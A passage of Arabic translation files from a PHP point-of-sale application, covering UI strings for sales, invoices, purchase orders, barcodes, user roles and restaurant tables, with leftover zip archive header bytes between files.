مطلوب', 'quantity_is_required' => 'الكمية مطلوبة', 'unit_price_is_required' => 'سعر الوحدة مطلوب', 'sales_imported_successfully' => 'تم استيراد المبيعات بنجاح', 'upload_data_in_excel_format' => 'تحميل بيانات المبيعات بتنسيق excel', 'map_columns_with_respective_sales_fields' => 'اختر حقول المبيعات المناسبة لكل عمود', 'choose_location_and_group_by' => 'اختر موقعًا وعمودًا تجاريًا يتم من خلالهما تجميع خطوط البيع', 'date_format_instruction' => 'تنسيق وقت تاريخ البيع يجب أن يكون Y-m-d H:i:s (2020-07-15 17:45:32)', 'product_name_single_only' => 'اسم المنتج (منتجات مفردة أو منتجات كومبو فقط)', 'product_sku' => 'رمز المنتج', 'product_unit' => 'وحدة المنتج', 'import_sale_unit_not_found' => 'الوحدة التي تحمل الاسم :unit_name غير موجودة في الصف :row', 'types_of_servicet_not_found' => 'أنواع الخدمة بالاسم :types_of_service_name غير موجود في الصف :row', 'email_or_phone_cannot_be_empty_in_row' => 'إما هاتف العميل أو البريد الإلكتروني مطلوب في الصف :row', 'product_cannot_be_empty_in_row' => 'إما أن يكون اسم المنتج أو رمز التخزين التعريفي للمنتج مطلوبًا في الصف :row', 'quantity_cannot_be_empty_in_row' => 'كمية المنتج مطلوبة في الصف :row', 'unit_price_cannot_be_empty_in_row' => 'سعر الوحدة مطلوب في الصف :row', 'imports' => 'الواردات', 'invoices' => 'الفواتير', 'import_batch' => 'دفعة استيراد', 'import_time' => 'وقت الاستيراد', 'cannot_select_a_field_twice' => 'لا يمكنك تحديد حقل مرتين', 'revert_import' => 'استعادة الاستيراد', 'import_reverted_successfully' => 'تم إرجاع الاستيراد بنجاح', 'importable_fields' => 'الحقول القابلة للاستيراد', 'sort_order' => 'امر ترتيب', 'total_returned' => 'تم إرجاع الإجمالي', 'skip' => 'تخطى', 'group_by_tooltip' => 'عمود تجميع خطوط البيع في نفس الفاتورة', 'allowed_file' => 'ملف مسموح به', 'detailed_with_purchase' => 'مفصل (مع الشراء)', 'supplier_name' => 'اسم المورد', 'purchase_ref_no' => 'الرقم المرجعي للشراء', 'save_and_print' => 'حفظ وطباعة', 'update_and_print' => 'التحديث والطباعة', 'all_your_discounts' => 'جميع خصوماتك', 'priority' => 'أفضلية', 'starts_at' => 'يبدأ في', 'ends_at' => 'ينتهي عند', 'used_for_browser_based_printing' => 'يُستخدم للطباعة المستندة إلى المستعرض', 'hsn_or_category_code' => 'HSN أو رمز الفئة', 'discounts' => 'خصومات', 'allow_overselling' => 'السماح بالبيع الزائد', 'view_own_purchase' => 'عرض الشراء الخاص فقط', 'view_own_expense' => 'عرض النفقات الخاصة فقط', 'allow_login' => 'السماح بتسجيل الدخول', 'login_not_allowed' => 'تسجيل الدخول غير مسموح به', 'labels_for_contact_custom_fields' => 'تسميات الحقول المخصصة لجهة الاتصال', 'labels_for_product_custom_fields' => 'تسميات الحقول المخصصة للمنتج', 'labels_for_purchase_custom_fields' => 'تسمية حقول الحقول الشرائية', 'labels_for_sell_custom_fields' => 'تسميات لبيع الحقول المخصصة', 'labels_for_location_custom_fields' => 'تسميات الحقول المخصصة للموقع', 'labels_for_types_of_service_custom_fields' => 'تسميات أنواع الحقول المخصصة للخدمة', 'labels_for_user_custom_fields' => 'تسميات الحقول المخصصة للمستخدم', 'total_transfer_shipping_charge' => 'إجمالي رسوم الشحن والنقل', 'total_purchase_shipping_charge' => 'إجمالي رسوم شحن الشراء', 'total_sell_shipping_charge' => 'إجمالي رسوم شحن البيع', 'opening_stock_location' => 'فتح موقع المخزون', 'product_locations_ins' => 'سلسلة مفصولة بفواصل لأسماء مواقع الأنشطة التجارية حيث سيتوفر المنتج', 'product_locations' => 'مواقع المنتج', 'view_products' => 'مشاهدة المنتجات', 'pos_screen_featured_products' => 'POS شاشة المنتجات المميزة', 'featured_products_help' => 'سيتم عرض المنتجات المحددة أعلى اقتراح منتج شاشة نقاط البيع للوصول السريع', 'purchase_report' => 'تقرير الشراء', 'sale_report' => 'تقرير البيع', 'payment_date' => 'موعد الدفع', 'year_month' => 'سنة شهر', 'lead' => 'قيادة', 'featured_products' => 'منتجات مميزة', 'repeat_on' => 'كرر على', 'access_tables' => 'جداول الوصول', 'access_printers' => 'طابعات الوصول', 'access_types_of_service' => 'الوصول إلى أنواع الخدمة', 'search_address' => 'عنوان البحث', 'contact_locations' => 'مواقع الاتصال', 'map' => 'خريطة', 'both_customer_and_supplier' => 'كل من العميل والمورد', 'service' => 'الخدمات', 'either_cust_email_or_phone_required' => 'إما معرف البريد الإلكتروني للعميل أو رقم الهاتف مطلوب', 'either_product_name_or_sku_required' => 'إما اسم المنتج (للواحد والسرد فقط) أو SKU للمنتج مطلوب', 'show_invoice_scheme' => 'عرض مخطط الفاتورة', 'select_invoice_scheme' => 'تحديد مخطط الفاتورة', 'recurring_expense_help' => 'إذا تم تحديد هذه النفقات , فسيتم إنشاؤها تلقائيًا على فترات منتظمة.', 'recur_interval' => 'الفاصل الزمني المتكرر', 'recur_expense_repetition_help' => 'إذا تم إنشاء حساب فارغ لمرات غير محدودة', 'recurring_expense_message' => 'تم إنشاء مصاريف متكررة جديدة. المرجع رقم: <i>:ref_no </i>', 'recurring_expense' => 'مصاريف متكررة', 'generated_recurring_expense' => 'المصاريف المتكررة المولدة', 'select_contacts' => 'تحديد جهات الاتصال', 'middle_name' => 'الاسم الوسطى', 'address_line_1' => 'العنوان الأول', 'address_line_2' => 'سطر العنوان 2', 'dob' => 'تاريخ الولادة', 'dob_ins' => 'تنسيق Y-m-d', 'by_purchase_price' => 'بسعر الشراء', 'by_sale_price' => 'بسعر البيع', 'potential_profit' => 'الربح المحتمل', 'apply_all' => 'تطبيق جميع', 'hide_all_prices' => 'إخفاء جميع الأسعار', 'select_invoice_layout' => 'حدد تخطيط الفاتورة', 'max_sales_discount_percent' => 'نسبة الخصم القصوى للمبيعات', 'max_sales_discount_percent_help' => 'النسبة المئوية القصوى للخصم التي يمكن للمستخدم تقديمها أثناء البيع. اتركها فارغة دون قيود', 'max_discount_error_msg' => 'يمكنك إعطاء حد أقصى :discount% خصم لكل عملية بيع', 'show_invoice_layout' => 'إظهار القائمة المنسدلة لتخطيط الفاتورة', 'recurred_from' => 'متكرر من', 'recur_details' => 'تفاصيل متكررة', 'recurring' => 'متكرر', 'view_product_stock_value' => 'عرض قيمة مخزون المنتج', 'added' => 'تمت الإضافة', 'disable_credit_sale_button' => 'زر تعطيل بيع الرصيد', 'pay' => 'الدفع', 'use_advance_balance' => 'استخدام الرصيد المقدم', 'advance' => 'الدفع المسبق', 'advance_balance' => 'الرصيد المسبق', 'advance_payment' => 'الدفع المسبق', 'required_advance_balance_not_available' => 'الرصيد المقدم المطلوب غير متوفر', 'in_transit' => 'أثناء النقل', 'edit_stock_transfer' => 'تحرير الأسهم نقل ', 'completed_status_help' => ' ونقل الأسهم لا تكون قابلة للتعديل إذا اكتمل الحالة ', 'no_data' => ' لا توجد بيانات ', 'sms_service' => ' خدمة SMS ', 'nexmo_key' => ' Nexmo مفتاح ', 'nexmo_secret' => ' Nexmo السري ', 'twilio_token' => ' Twilio الوصول رمز ', 'twilio_sid' => ' Twilio حساب SID ', 'upcoming' => ' القادمة ', 'final' => ' نهائي ', 'expense_for_contact' => ' مصاريف الاتصال ', 'create' => ' إنشاء ', 'waiting' => 'قيد الانتظار', 'sms_settings_header_key' => 'العنوان: مفتاح الرقم', 'sms_settings_header_val' => 'العنوان: قيمة الرقم', 'stock_adjustment_details' => 'تفاصيل تسوية المخزون', 'stock_transfer_details' => 'تفاصيل تحويل المخزون', 'invoice_layout_for_pos' => 'تنسيق الفاتورة لنقاط البيع', 'invoice_layout_for_sale' => 'تخطيط الفاتورة للبيع', 'invoice_layout_for_sale_tooltip' => 'تخطيط الفاتورة للمبيعات المباشرة ', 'new_quotation' => ' عرض أسعار جديد ', 'new_quotation_notification' => ' إشعار عرض أسعار جديد ', 'view_quote_url' => ' عرض عنوان url لعرض الأسعار ', 'close_cash_register' => ' إغلاق السجل النقدي ', 'view_cash_register' => ' عرض السجل النقدي ', 'for_tax_group_only' => ' للمجموعة الضريبية فقط ', 'for_tax_group_only_help' => ' إذا تم تحديدها, فلن يتم عرض هذه الضريبة بشكل منفصل في القوائم المنسدلة, يمكن إضافتها فقط في مجموعة الضرائب ', 'exempt' => ' معفاة ', 'tax_exempt_help' => ' سيتم اعتبار معدل الضريبة بنسبة صفر بالمائة معفيًا من الضرائب ', 'show_total_in_words' => 'إظهار الإجمالي بالكلمات', 'show_in_word_help' => 'يلزم تمكين امتداد php-intl', 'print_on_suspend' => 'طباعة الفاتورة عند الإيقاف', 'view_all_customer' => 'عرض كل العملاء', 'view_own_customer' => 'عرض العميل الخاص', 'view_all_supplier' => 'عرض كل الموردين', 'view_own_supplier' => 'عرض المورد الخاص', 'label_help' => 'طباعة الرمز الشريطي / الملصق', 'connection_type_windows' => 'نوع الاتصال Windows', 'connection_type_linux' => 'نوع الاتصال Linux', 'windows_type_help' => 'ستكون ملفات الجهاز على غرار', 'linux_type_help' => 'ملف جهاز الطابعة الخاص بك سيكون في مكان ما مثل', 'due_date' => 'تاريخ الاستحقاق', 'quotation_no' => 'رقم الإقتباس', 'browser_based_printing' => 'الطباعة القائمة على المتصفح', 'configured_printer' => 'استخدام طابعة الإيصالات المكونة', 'for_normal_printer' => 'للطابعة العادية', 'recomended_for_80mm' => 'موصى به لطابعة استلام الخط الحراري , مقاس ورق 80 مم', 'recomended_for_58mm' => 'موصى به لطابعة إيصالات الخطوط الحرارية , مقاس ورق 80 مم و 58 مم', 'classic' => 'كلاسيك', 'elegant' => 'أنيق', 'slim' => 'معتدل البنيه', 'detailed' => 'مفصلة', 'columnize_taxes' => 'عمود الضرائب', 'types_of_service_help_long' => 'نوع الخدمة يعني خدمات مثل تناول الطعام والطرود والتوصيل للمنازل وتوصيل طرف ثالث وما إلى ذلك. يمكن تمكينها / تعطيلها من <code> الإعدادات> الوحدات النمطية </code> ويمكن إنشاؤها من <code> الإعدادات> أنواع الخدمة </code>. يمكنك أيضًا تحديد مجموعة أسعار مختلفة ورسوم التعبئة لأنواع الخدمة.', 'access_sell_return' => 'الوصول إلى عائد البيع', 'system_notification' => 'إعلام النظام', 'time_range' => 'النطاق الزمني', 'enable_php_intl_extension' => 'تمكين امتداد php-intl في إعدادات PHP INI', 'profit_note' => '<b>ملاحظة:</b> يعتبر الربح حسب المنتجات / الفئات / العلامات التجارية مجرد خصم مضمّن. لا يتم أخذ خصم الفاتورة في الاعتبار.', 'upcoming_bookings' => 'الحجوزات القادمة', 'is_refund' => 'هو استرداد', 'is_refund_help' => 'إذا تم رد المصاريف المحددة وستتم إضافتها إلى صافي الربح', 'refund' => 'إعادة مال', 'activate' => 'تفعيل', 'deactivate' => 'إلغاء التنشيط', 'add_quotation' => 'إضافة اقتباس', 'product_stock_history' => 'سجل مخزون المنتج', 'quantities_in' => 'الكميات في', 'quantities_out' => 'الكميات الخارجة', 'in' => 'في', 'out' => 'خارج', 'totals' => 'الإجماليات', 'quantity_change' => 'تغيير الكمية', 'new_quantity' => 'كمية جديدة', 'no_stock_history_found' => 'لم يتم العثور على سجل مخزون', 'add_draft' => 'إضافة مسودة', 'labels_for_sale_shipping_custom_fields' => 'تسميات للبيع تشحن الحقول المخصصة', 'is_required' => 'مطلوب', 'convert_to_invoice' => 'تحويل إلى فاتورة', 'converted_to_invoice_successfully' => 'تم التحويل إلى فاتورة :invoice_no بنجاح', 'proforma' => 'بروفورما', 'proforma_invoice' => 'الفاتورة الأولية', 'convert_to_proforma' => 'التحويل إلى الفاتورة الأولية', 'converted_to_proforma_successfully' => 'محولة إلى فاتورة أولية', 'billing_address' => 'عنوان وصول الفواتير', 'delete_sell' => 'حذف البيع', 'product_brochure' => 'كتيب المنتج', 'whatsapp_text' => 'نص Whatsapp', 'auto_send_wa_notif' => 'إرسال إشعار Whatsapp تلقائيًا', 'send_whatsapp' => 'إرسال إشعار Whatsapp', 'send_sms' => 'أرسل رسالة نصية قصيرة', 'send_email' => 'ارسل بريد الكتروني', 'shipping_documents' => 'مستندات الشحن', 'no_attachment_found' => 'لم يتم العثور على مرفق', 'attachments' => 'المرفقات', 'print_invoice' => 'فاتورة طباعة', 'word_format' => 'تركيب الكلمة', 'international' => 'الدولية', 'indian' => 'هندي', 'word_format_help' => 'في الشكل الدولي يتم تمثيل الأرقام الكبيرة بالملايين والمليارات والتريليون حيث يتم تمثيلها كما في الشكل الهندي في lakhs و crores', 'shipping_edited' => 'تم تحرير الشحن', 'payment_edited' => 'تم تحرير الدفع', 'notification_sent' => 'تم إرسال الإخطار', 'imported' => 'مستورد', 'logout' => 'تسجيل خروج', 'backup_clean_command_instruction' => 'لتنظيف النسخة الاحتياطية القديمة , يجب إعداد مهمة cron باستخدام هذا الأمر:', 'converted' => 'تم تحويله', 'view_commission_agent_sell' => 'يمكن لوكيل العمولة عرض بيعه الخاص', 'access_commission_agent_shipping' => 'يمكن للوكيل بالعمولة الوصول إلى الشحنات الخاصة بهم', 'access_own_shipping' => 'الوصول إلى الشحنات الخاصة', 'email_notification_sent' => 'تم إرسال إشعار البريد الإلكتروني', 'sms_notification_sent' => 'تم إرسال إشعار الرسائل القصيرة', 'packing_date' => 'تاريخ التعبئة', 'print_exp_date' => 'تاريخ انتهاء صلاحية الطباعة', 'print_packing_date' => 'طباعة تاريخ التعبئة', 'print_lot_number' => 'طباعة رقم دفعة', 'family_contact_number' => 'رقم الاتصال بالعائلة', 'custom_payment' => 'الدفع المخصص :number', 'default_credit_limit' => 'حد الائتمان الافتراضي', 'price_calculation_type' => 'نوع حساب السعر', 'show_pricing_on_product_sugesstion' => 'عرض التسعير على تلميح اقتراح المنتج', 'all_purchase_orders' => 'كل أوامر الشراء', 'add_purchase_order' => 'إضافة طلب شراء', 'edit_purchase_order' => 'تحرير أمر الشراء', 'purchase_order_details' => 'تفاصيل طلب الشراء', 'enable_purchase_order' => 'تمكين أمر الشراء', 'purchase_order_help_text' => 'أمر الشراء هو مستند تجاري وأول عرض رسمي صادر عن المشتري للبائع يشير إلى الأنواع والكميات والأسعار المتفق عليها للمنتجات أو الخدمات. ويستخدم للتحكم في شراء المنتجات والخدمات من الموردين الخارجيين. يمكن لأوامر الشراء أن أن تكون جزءًا أساسيًا من أوامر نظام تخطيط موارد المؤسسة. ', 'view_all_purchase_order' => 'عرض كل طلبات الشراء', 'view_own_purchase_order' => 'عرض أمر الشراء الخاص', 'create_purchase_order' => 'إنشاء أمر شراء', 'delete_purchase_order' => 'حذف أمر الشراء', 'purchase_order_delete_success' => 'تم حذف أمر الشراء بنجاح', 'order_quantity' => 'كمية الطلب', 'order_date' => 'تاريخ الطلب', 'max_quantity_quantity_allowed' => 'الحد الأقصى :quantity المسموح بها', 'leave_empty_to_autogenerate' => 'اتركه فارغًا للإنشاء التلقائي', 'add_edit_invoice_number' => 'إضافة تعديل رقم الفاتورة', 'keep_blank_to_autogenerate' => 'اتركه فارغًا للإنشاء التلقائي', 'download_pdf' => 'تحميل PDF', 'attach_pdf_in_email' => 'إرفاق فاتورة pdf بالبريد الإلكتروني', 'send_sms_whatsapp_notification' => 'إرسال إشعار sms / whatsapp', 'enable_sales_order' => 'تمكين طلب المبيعات', 'sales_order' => 'طلب المبيعات', 'sales_order_help_text' => 'أمر المبيعات , الذي يُختصر أحيانًا على أنه SO , هو أمر صادر عن شركة أو تاجر وحيد إلى عميل. قد يكون أمر المبيعات لمنتجات و / أو خدمات.', 'add_sales_order' => 'إضافة طلب مبيعات', 'edit_sales_order' => 'تحرير أمر المبيعات', 'shipping_note' => 'ملاحظة الشحن', 'code_1_name' => 'اسم الرمز 1', 'code_2_name' => 'اسم الرمز 2', 'code_1' => 'الرمز 1', 'code_2' => 'الرمز 2', 'download_paking_pdf' => 'تنزيل ملف pdf', 'subject_type' => 'نوع الموضوع', 'activity_log' => 'سجل النشاطات', 'sell_deleted' => 'تم حذف البيع', 'so_deleted' => 'تم حذف طلب المبيعات', 'po_deleted' => 'تم حذف طلب الشراء', 'purchase_deleted' => 'تم حذف الشراء', 'contact_deleted' => 'تم حذف جهة الاتصال', 'payment_deleted' => 'تم حذف الدفع', 'quantity_remaining' => 'الكمية المتبقية', 'view_sale' => 'عرض البيع', 'update_sale' => 'تحديث البيع', 'add_sell' => 'إضافة بيع', 'account_details' => 'تفاصيل الحساب', 'label' => 'ملصق', 'prefer_payment_method' => 'طريقة الدفع المفضلة', 'prefer_payment_account' => 'تفضيل حساب الدفع', 'this_will_be_shown_in_pdf' => 'الطريقة / الحساب المفضل حيث يمكن للعميل دفع الفاتورة. (مفيدة لفواتير الائتمان)', 'view_own_so' => 'عرض أمر المبيعات الخاص', 'view_all_so' => 'عرض كل أوامر المبيعات', 'create_so' => 'إنشاء أمر مبيعات', 'edit_so' => 'تحرير أمر المبيعات', 'delete_so' => 'حذف أمر المبيعات', 'types_of_service_custom_field_help' => 'ستة حقول مخصصة ستكون متاحة أثناء إضافة البيع', 'delete_expense' => 'حذف المصروفات', 'access_all_expense' => 'الوصول إلى جميع النفقات', 'designation' => 'تعيين', 'department' => 'قسم', 'is_default_for_contact' => 'الإعداد الافتراضي لجهة الاتصال', 'individual' => 'فردي', 'is_export' => 'هل التصدير؟', 'export' => 'يصدر', 'export_custom_field1' => 'تصدير الحقل المخصص 1', 'export_custom_field2' => 'تصدير الحقل المخصص 2', 'export_custom_field3' => 'تصدير الحقل المخصص 3', 'export_custom_field4' => 'تصدير الحقل المخصص 4', 'export_custom_field5' => 'تصدير الحقل المخصص 5', 'export_custom_field6' => 'تصدير الحقل المخصص 6', 'enable_export' => 'تمكين التصدير', 'edit_status' => 'تحرير الحالة', 'status_updated' => 'تم تحديث الحالة', 'item_discount_label' => 'تصنيف خصم العنصر', 'sales_orders' => 'طلبات المبيعات', 'cash_denominations' => 'الفئات النقدية', 'cash_denominations_help' => 'قيم مفصولة بفواصل مثال: 100,200,500,2000', 'denomination' => 'فئة', 'count' => 'عدد', 'denomination_add_help_text' => 'إضافة فئات في الإعدادات -> إعدادات الأعمال -> نقاط البيع -> الفئات النقدية', 'order_dates' => 'تواريخ الطلب', 'by_category' => 'بالتصنيف', 'by_brand' => 'حسب العلامة التجارية', 'no_brand' => 'أي علامة تجارية', 'woocommerce_sync' => 'WooCommerce سينك', 'enable' => 'ممكن', 'disable' => 'إبطال', 'cmmsn_calculation_type' => 'نوع حساب العمولة', 'invoice_value' => 'قيمة الفاتورة', 'total_payment_with_commsn' => 'إجمالي السداد مع العمولة', 'payments_with_cmmsn' => 'مدفوعات بعمولة', 'view_all_drafts' => 'عرض كل المسودات', 'view_own_drafts' => 'عرض المسودات الخاصة', 'edit_draft' => 'تحرير المسودة', 'delete_draft' => 'حذف المسودة', 'view_all_quotations' => 'عرض جميع الاقتباسات', 'view_own_quotations' => 'عرض الاقتباسات الخاصة', 'edit_quotation' => 'تحرير الاقتباس', 'delete_quotation' => 'حذف الاقتباس', 'primary_work_location' => 'موقع العمل الأساسي', 'labels_for_purchase_shipping_custom_fields' => 'تسميات شراء الحقول المخصصة للشحن', 'view_own_purchase_n_stock_adjustment' => 'عرض الشراء الخاص وتسوية المخزون', 'view_all_purchase_n_stock_adjustment' => 'عرض كل تسوية المشتريات والمخزون', 'access_all_shipments' => 'الوصول إلى جميع الشحنات', 'view_all_sale' => 'عرض كل عمليات البيع', 'total_quantity' => 'الكمية الإجمالية', 'pending_shipments' => 'الشحنات المعلقة', 'view_paid_sells_only' => 'عرض عمليات البيع المدفوعة فقط', 'view_due_sells_only' => 'عرض البيع المستحق فقط', 'view_partially_paid_sells_only' => 'عرض عمليات البيع المدفوعة جزئيًا فقط', 'view_overdue_sells_only' => 'عرض عمليات البيع المتأخرة فقط', 'customer_with_no_sell_one_month' => 'عرض العملاء الذين لم يبيعوا من شهر واحد فقط', 'customer_with_no_sell_three_month' => 'عرض العملاء الذين لم يبيعوا لمدة ثلاثة أشهر فقط', 'customer_with_no_sell_six_month' => 'عرض العملاء الذين لم يبيعوا منذ ستة أشهر فقط', 'customer_with_no_sell_one_year' => 'عرض العملاء الذين لم يبيعوا منذ عام واحد فقط', 'customer_permissions_tooltip' => 'لعرض جميع العملاء بدون بيع من وقت محدد , يلزم الحصول على إذن <b> عرض كل العملاء </b> وإلا سيتم التصفية باستخدام العملاء الذين تم إنشاؤهم بواسطة المستخدم الذي قام بتسجيل الدخول', 'sell_permissions_tooltip' => 'لعرض عمليات البيع على أساس حالة الدفع , يلزم <b> عرض جميع أذونات البيع </b> وإلا سيتم التصفية مع عمليات البيع التي تم إنشاؤها بواسطة المستخدم الذي قام بتسجيل الدخول فقط', 'access_pending_shipments_only' => 'الوصول إلى الشحنات المعلقة فقط', 'access_all_sell_return' => 'الوصول إلى جميع عمليات إعادة البيع', 'access_own_sell_return' => 'الوصول إلى retrun الخاص بالبيع', 'proforma_heading' => 'عنوان الفاتورة الأولية', 'tooltip_proforma_heading' => 'يتم استخدام عنوان الفاتورة الأولية أثناء توفير Proforma للعملاء.', 'line_taxes' => 'ضرائب الخط', 'add_additional_expenses' => 'إضافة نفقات إضافية', 'additional_expense_name' => 'اسم حساب إضافي', 'purchase_additional_expense' => 'شراء نفقات إضافية', 'qr_code' => 'رمز الاستجابة السريعة', 'show_qr_code' => 'إظهار رمز الاستجابة السريعة', 'fields_to_be_shown' => 'الحقول المطلوب إظهارها', 'business_location_address' => 'عنوان موقع النشاط التجاري', 'business_tax_1' => 'ضريبة النشاط التجاري 1', 'business_tax_2' => 'ضريبة الأعمال 2', 'invoice_datetime' => 'تاريخ الفاتورة', 'total_amount_with_tax' => 'المبلغ الإجمالي مع الضريبة', 'total_bank_transfer' => 'إجمالي التحويل المصرفي', 'total_advance_payment' => 'إجمالي الدفعة المقدمة', 'commission_agent_label' => 'تسمية الوكيل بالعمولة', 'show_commission_agent' => 'عرض الوكيل بالعمولة', 'cannot_change_role' => 'لا يمكن تغيير الدور', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'رابط الدفع', 'enable_payment_link' => 'تمكين رابط الدفع', 'payment_link_help_text' => 'من خلال تمكين المستخدمين يمكنهم دفع الفاتورة باستخدام رابط الدفع', 'invoice_payment' => 'دفع الفاتورة', 'payment_for_invoice_no' => 'الدفع مقابل رقم الفاتورة', 'pending_shipments' => 'الشحنات المعلقة', 'sources' => 'مصادر', 'stripe_secret_key' => 'المفتاح السري Stripe', 'stripe_public_key' => 'مفتاح عام شريطي', 'edit_opening_balance' => 'تحرير الرصيد الافتتاحي', 'edit_fund_transfer' => 'تحرير تحويل الأموال', 'edit_deposit' => 'تحرير الإيداع', 'deposit_to' => 'إيداع', 'transfer_from' => 'تحويل من', 'edit_account_transaction' => 'تحرير معاملة الحساب', 'delete_account_transaction' => 'حذف معاملة الحساب', 'add_purchase_payment' => 'إضافة مدفوعات الشراء', 'edit_purchase_payment' => 'تحرير دفع الشراء', 'delete_purchase_payment' => 'حذف دفعة الشراء', 'add_sell_payment' => 'إضافة دفع بيع', 'edit_sell_payment' => 'تحرير دفع البيع', 'delete_sell_payment' => 'حذف دفع البيع', 'sales_order_heading' => 'عنوان طلب المبيعات', 'account_balance' => 'رصيد الحساب', 'total_balance' => 'إجمالي الرصيد', 'account_balance_tooltip' => 'إجمالي رصيد الحساب المعين', 'total_balance_tooltip' => 'إجمالي رصيد جميع الحسابات', 'sell_additional_expense' => 'بيع المصاريف الإضافية', 'view_export_buttons' => 'عرض التصدير إلى الأزرار (csv / excel / print / pdf) على الجداول', 'overall' => 'شاملة', 'show_labels' => 'عرض التصنيفات', 'zatca_qr' => 'رمز الاستجابة السريعة ZATCA (Fatoora)', 'zatca_qr_help' => 'لبلد المملكة العربية السعودية', 'customer_irrespective_of_sell' => 'عرض العملاء بغض النظر عن بيعهم', 'img_url_help_text' => 'أو URL للصورة', 'delivery_person' => 'شخص التوصيل', 'enable_service_staff_pin' => 'تمكين رمز الموظفين للخدمة', 'staff_pin' => 'رمز الموظفين', 'tooltip_is_enable_service_staff_pin' => 'إذا تم تمكينه، فأثناء البيع/نقاط البيع عند اختيار هذا المستخدم كموظف خدمة، يجب إدخال رمز PIN. الرمز PIN غير الصحيح لن يسمح باختيار هذا المستخدم كموظف خدمة.', 'kitchen_order' => 'طلب المطبخ', 'kitchen_order_tooltip' => 'سيتم إرسال الطلب إلى المطبخ فقط إذا تم التحقق من هذا الخيار', 'disable_quotation' => 'تعطيل الاقتباس', 'disable_card' => 'تعطيل البطاقة', 'assigned_to' => 'مخصص لـ', 'has_no_sell_from' => 'لا يوجد مبيعات من', 'delivery_note' => 'مذكرة توصيل', 'above_mentioned_items_received_in_good_condition' => 'تم استلام العناصر المذكورة أعلاه في حالة جيدة', 'received_by' => 'استلم من قبل', 'enter_details_below_to_check_repair_status' => 'أدخل التفاصيل أدناه للتحقق من حالة الإصلاح', 'search_by' => 'البحث بواسطة' ]; PK G �Z�҄�l l ar/barcode.phpnu �[��� <?php return [ 'barcodes' => 'الباركود', 'barcode_settings' => 'إعدادات الباركود', 'manage_your_barcodes' => 'إدارة إعدادات الباركود الخاص بك', 'all_your_barcode' => 'جميع إعدادات الباركود الخاص بك', 'setting_name' => 'اسم ورقة الملصق', 'setting_description' => 'وصف ورقة الملصق', 'added_success' => 'تمت اضافة الباركود بنجاح', 'updated_success' => 'تم تحديث الباركود بنجاح', 'deleted_success' => 'تم ازالة الباركود بنجاح', 'add_new_setting' => 'أضف جديد', 'add_barcode_setting' => 'اضافة لاصق باركود جديد', 'edit_barcode_setting' => 'تعديل لاصق باركود', 'in_in' => ' بالبوصة', 'width' => 'عرض الملصق', 'height' => 'ارتفاع الملصق', 'top_margin' => 'الهامش العلوي الإضافي', 'left_margin' => 'الهامش الأيسر الاضافي', 'row_distance' => 'المسافة بين صفين', 'col_distance' => 'المسافة بين عمودين', 'blank_stickers' => 'ملصقات فارغة', 'stickers_in_one_row' => 'ملصقات في صف واحد', 'delete_confirm' => "هل أنت متأكد؟ n\ سيتم مسح هذا الإعداد", 'set_as_default' => 'تعيين افتراضي', 'default' => 'افتراضي', 'default_set_success' => 'تم التعيين كافتراضى بنجاح', 'stickers_in_one_sheet' => 'عدد الملصقات لكل ورقة', 'is_continuous' => 'تغذية مستمرة من بكرات', 'products' => 'المنتجات', 'no_of_labels' => 'عدد الملصقات', 'info_in_labels' => 'معلومات لعرضها في الملصقات', 'print_name' => 'اسم المنتج', 'print_variations' => 'تباين المنتج (موصى به)', 'print_price' => 'سعر المنتج', 'show_price' => 'عرض السعر', 'preview' => 'عرض', 'print_business_name' => 'اسم الشركة', 'barcode_setting' => 'إعدادات الباركود', 'paper_width' => 'عرض الورق', 'paper_height' => 'ارتفاع الورق', 'print_labels' => 'طباعة الملصقات', 'labels' => 'الملصقات', ]; PK G �Z����� � ar/user.phpnu �[��� <?php return [ 'edit_profile' => 'تعديل الملف الشخصي', 'change_password' => 'تغيير كلمة السر', 'current_password' => 'كلمة السر الحالية', 'new_password' => 'كلمة سر جديدة', 'confirm_new_password' => 'تأكيد كلمة السر الجديدة', 'user_management' => 'إدارة المستخدمين', 'roles' => 'الصلاحيات', 'users' => 'المستخدمين', 'manage_roles' => 'إدارة الصلاحيات', 'all_roles' => 'كل الصلاحيات', 'add_role' => 'إضافة صلاحية', 'role_name' => 'اسم الصلاحية', 'permissions' => 'اذونات', 'role_added' => 'تمت إضافة الصلاحية بنجاح', 'role_already_exists' => 'صلاحية بنفس الاسم موجود بالفعل', 'edit_role' => 'تعديل الصلاحية', 'role_updated' => 'تم تحديث الصلاحية بنجاح', 'role_deleted' => 'تمت إزالة الصلاحية بنجاح', 'manage_users' => 'إدارة المستخدمين', 'all_users' => 'جميع المستخدمين', 'name' => 'الإسم', 'role' => 'الصلاحية', 'add_user' => 'إضافة مستخدم', 'user_added' => 'تمت إضافة المستخدم بنجاح', 'role_is_default' => 'لا يمكنك تعديل هذا الدور', 'edit_user' => 'تعديل المستخدم', 'leave_password_blank' => 'اترك حقل كلمة السر فارغًا إذا كنت لا تريد تحديث كلمة السر', 'user_update_success' => 'تم تحديث المستخدم بنجاح', 'user_delete_success' => 'تم حذف المستخدم بنجاح', ]; PK G �Z�@� � ar/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'مطعم', 'tables' => 'الطاولات', 'table' => 'الطاولة', 'manage_your_tables' => 'إدارة طاولات المطعم', 'all_your_tables' => 'جميع طاولات المطعم', 'description' => 'وصف', 'add_table' => 'اضافة طاولة', 'edit_table' => 'تعديل طاولة', 'table_name' => 'اسم الطاولة', 'short_description' => 'وصف قصير', 'select_table' => 'اختر طاولة', 'show_table' => 'عرض الطاولة', 'table_label' => 'تسمية الطاولة', 'show_service_staff' => 'عرض موظفي الخدمة', 'service_staff_label' => 'تسمية طاقم الخدمة', 'select_waiter' => 'اختر النادل', 'modifiers' => 'الاضافات', 'modifier_sets' => 'مجموعة الاضافات', 'manage_your_modifiers' => 'ادارة الاضافات', 'all_your_modifiers' => 'كل الاضافات', 'add_modifier' => 'اضافة اضافة', 'modifier_set' => 'مجموعة اضافات', 'modifier' => 'الاضافات', 'edit_modifier' => 'تعديل اضافة', 'manage_products' => 'إدارة المنتجات', 'products' => 'منتجات', 'modifiers_for_product' => 'الاضافات للمنتجات', 'kitchen' => 'مطبخ', 'mark_as_cooked' => 'علامة مطبوخ', 'manage_your_kitchen' => 'إدارة مطبخك', 'all_orders' => 'جميع الطلبات', 'order_no' => 'رقم الطلب', 'order_statuses' => [ 'received' => 'تم الاستلام', 'cooked' => 'مطبوخ', 'served' => 'انتهت', '' => 'تم الاستلام', ], 'order_successfully_marked_cooked' => 'علامة مطبوخ بنجاح', 'order_successfully_marked_served' => 'علامة انتهى بنجاح', 